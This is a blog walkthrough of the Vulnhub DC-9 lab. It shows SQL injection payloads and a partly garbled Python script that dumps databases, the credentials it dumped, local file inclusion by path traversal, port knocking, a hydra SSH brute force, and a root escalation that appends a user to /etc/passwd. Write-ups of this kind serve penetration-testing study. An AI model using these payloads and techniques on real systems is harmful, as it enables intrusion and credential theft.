Sunday, 14 February 2021

Vulnhub Writeup - DC: 9

Vulnhub - dc-9

Vulnhub Writeup - DC: 9

You can find the box on Vulnhub here

DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

dc-9 login

Initial Recon

nmap host scan to discover the boxes IP

nmap -sn

nmap host scan

autorecon to run a full nmap and some other tools on the machine

sudo autorecon

autorecon scan

A few things to note from the nmap-full tcp scan and the nikto scan

  • /config.php exists (blank from front end)
  • port 80/HTTP open
  • port 22/SSH is filtered remember this!
  • Apache/2.4.38 (Debian)

nmap ports

nikto results


A gobuster scan of the site reveals a bunch of php files to browse to

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html,txt,bak -u

gobuster results

Browsing around the site leads to a few initial findings to investigate

  • possible sqli on search.php / results.php
  • possible sqli on manage.php (login)
  • possible brute force on manage.php (login)
  • possible usernames on display.php

At this point, I reset the box as I had left some junk in the database. From now on the machine is at

Here is a normal search

The search page

Search results

SQL Injection in results.php

Setting up a burp intruder scan to check for SQLi. Send a normal search through Burpsuite, choose the relevant POST request in HTTP History tab and send to intruder with Ctrl + I

intruder setup

Loading quick-SQLi.txt from seclists

intruder setup 2

After clicking start attack and waiting for the results, sorting by the Length column shows some interesting results. Results here that are 1248 bytes are “0 results” responses. Results at 1359 bytes are showing the single result of Barney Rubble and results that are 3357 bytes are showing all results from the table.

intruder results

The most interesting result is when sending the admin' or '1'='1'#. This shows us that this is a valid SQL injection. The POST data search=barneyadmin'%20or%20'1'%3d'1'# or search=barneyadmin' or '1'='1'# returns all of the results from the table. A possible SQL query that this might end up as could be

SELECT * From users WHERE firstname = 'barneyadmin' OR '1'='1'#

It also shows that # is being treated as a comment character and removes any additional strings from the query. This means it can likely be used to dump the whole database.

Manual SQL Injection &

Since I’m studying for OSCP, I won’t use SQLmap here and will instead manually dump the database by writing a script. First step is to get a valid SQL statement that can be used to return data from other tables. For this I will use the UNION SELECT method.

To craft a valid UNION SELECT, it’s first required to find the number of columns in the original query. To do this, ORDER BY can be used.

Since there are at least 5 columns being returned to the UI, I’ll start by trying ORDER BY 5

I’ll enter this into the search box

' OR '1'='1' ORDER BY 5#

This results in the output being ordered by the Phone Number column. ORDER BY 6 results in sorting by email

Search ordered by email

search ordered by phone number using ' OR '1'='1' ORDER BY 5#

no results

Ordering by 7 shows 0 results so this likely was an invalid SQL statement

So we can gather the original statement returns 6 columns and therefore a valid UNION SELECT statement would be

' OR '1'='1' UNION SELECT 1,2,3,4,5,@@version#

valid union select

This means it’s possible to return arbitrary data from the database.

Following from this, the concat keyword can be used to join results into a single column and therefore any data can be extracted.

Using this logic, I put together a python script to dump all DBs on the system.


import requests
import urllib.parse
import re
from tabulate import tabulate
import colorama
from colorama import Fore, Style

endPattern = re.compile(r'<\|end')
startStr = 'start|>'

def getTables(baseUrl, endPattern, startStr, dbName):
    searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>',table_name,'<|end'),5,6 from information_schema.tables WHERE table_schema='" + dbName + "'" + "#"}
    x =, data = searchData)
    for line in rawLines:
    return array


def getColumns(baseUrl, endPattern, startStr, dbName, tableName):
    searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>',column_name,'<|end'),5,6 from information_schema.columns WHERE table_name='" + tableName + "'" + "#"}
    x =, data = searchData)
    for line in rawLines:
    return array


def dumpTable(baseUrl, endPattern, startStr, dbName, tableName):
    cols = getColumns(baseUrl,endPattern,startStr,dbName,tableName)

    searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>'," + colstr + ",'<|end'),5,6 from " + dbName + "." + tableName + "#"}

    #input("Continue [Enter]: ")
    x =, data = searchData)
    for line in rawLines:
    print(tabulate(array, headers=cols))


def dumpDb(baseUrl, endPattern, startStr, dbName):
    for table in tables:
        print(Fore.YELLOW + table)
        input("Continue [Enter]: ")


def getDbs(baseUrl, endPattern, startStr):

    searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>',schema_name,'<|end'),5,6 from information_schema.schemata" + "#"}
    x =, data = searchData)

    for line in rawLines:
    while response.lower() != 'q':
        for count in range(0,len(array)):
            print("[" + str(count) + "] " + array[count])
        print("[Q] Quit")
        response = input("Enter Selection: ")
        if response.isnumeric():
            if int(response) < len(array):


Running this script, I can dump database tables and other interesting information.

script running

db version


admin password hash in “Staff” db is as follows. It can be cracked easily at

admin password in db

856f5de590ef37314e7c3bdf6f8a66dc md5 transorbital1

UserDetails table has some plaintext passwords

  id  firstname    lastname    username    password       reg_date
----  -----------  ----------  ----------  -------------  -------------------

1  Mary         Moe         marym       3kfs86sfd      2019-12-29 16:58:26
2  Julie        Dooley      julied      468sfdfsd2     2019-12-29 16:58:26
3  Fred         Flintstone  fredf       4sfd87sfd1     2019-12-29 16:58:26
4  Barney       Rubble      barneyr     RocksOff       2019-12-29 16:58:26
5  Tom          Cat         tomc        TC&TheBoyz     2019-12-29 16:58:26
6  Jerry        Mouse       jerrym      B8m#48sd       2019-12-29 16:58:26
7  Wilma        Flintstone  wilmaf      Pebbles        2019-12-29 16:58:26
8  Betty        Rubble      bettyr      BamBam01       2019-12-29 16:58:26
9  Chandler     Bing        chandlerb   UrAG0D!        2019-12-29 16:58:26
10  Joey         Tribbiani   joeyt       Passw0rd       2019-12-29 16:58:26
11  Rachel       Green       rachelg     yN72#dsd       2019-12-29 16:58:26
12  Ross         Geller      rossg       ILoveRachel    2019-12-29 16:58:26
13  Monica       Geller      monicag     3248dsds7s     2019-12-29 16:58:26
14  Phoebe       Buffay      phoebeb     smellycats     2019-12-29 16:58:26
15  Scooter      McScoots    scoots      YR3BVxxxw87    2019-12-29 16:58:26
16  Donald       Trump       janitor     Ilovepeepee    2019-12-29 16:58:26
17  Scott        Morrison    janitor2    Hawaii-Five-0  2019-12-29 16:58:28

Logging in as admin user & Local File Inclusion

Logging in as admin on /manage.php gives some extra functionality to add items to the database. But one thing caught my eye on the page - “File does not exist”. This hints at a possible Local File Inclusion (LFI) vulnerability.

file not found

I tried a few things in here

None of these worked, but the standard ../../../../../../../ works!

working LFI

I went through the high on coffee LFI cheatsheet and found some interesting stuff but nothing that could get code execution. /proc/self/fd/13 appears to show the PHP Session information so I wondered if I could change the logged in username somehow.


If it was possible to change the username from admin to <?php phpinfo(); ?> then maybe I could get code execution here.

Unfortunately that was a dead end and I had to get a hint at this point to continue the box. Remember that port 22 is filtered? This is a hint that port knocking might be in use on the box. The default location on Debian for the knockd.conf file is /etc/knockd.conf.

Someone’s knocking on the door


The OpenSSH sequence is as follows

[openSSH] sequence = 7469,8475,9842

So I ran the following to open up the ssh port, running nc will attempt to open a connection to each port in order and hopefully open the SSH port.

nc -w 1 7469; nc -w 1 8475; nc -w 1 9842

Opening SSH

SSH Brute force

Cool. So now SSH is open, the username / password combinations found in the database can be used to attempt a brute force attack using hydra.

I dumped the username column found in the UserDetails table above into usernames.txt. Same for passwords into passwords.txt. I also included root and admin in the usernames file and transorbital1 in the passwords file.

Hydra SSH brute force, using 4 threads as per recommendation from hydra help.

hydra ssh:// -L ./usernames.txt -P ./passwords.txt -T4 

hydra results

OK so 3 accounts to try out on the box. After logging into each user and checking the home folders, there is a hidden directory in janitor’s home folder with some additional passwords.

additional passwords

Adding the unique ones to the passwords.txt and re-running hydra reveals a new account

hydra results 2

One of the first things I run as a user on a box is sudo -l before running any recon scripts, in this case it’s lucky!

sudo list

Trying out the binary

Using file /opt/devstuff/dist/test/test shows that this is a linux ELF binary. it appears the binary will read one file and append another. I created 2 test files and ran the binary against them. It appears to append the contents of the file in the first argument to the file in the second argument.

sudo binary tests

running with sudo permissions shows that root is writing the file.

write as root

A method to gain root privileges with a write-as-root ability is to add a new user to the /etc/passwd file.

generate a password hash with openssl

openssl passwd -1 -salt salt pass123

create a new file called append-user.txt with the new user account and password hash as follows


run the append script with sudo

sudo /opt/devstuff/dist/test/test append-user.txt /etc/passwd

su to the new user with password pass123 as above

fredf@dc-9:~$ su newuser
root@dc-9:/home/fredf# id
uid=0(root) gid=0(root) groups=0(root)

Job Done!

And we’re done. Thanks for reading!

Written with StackEdit.

No comments:

Post a comment

Please be nice! :)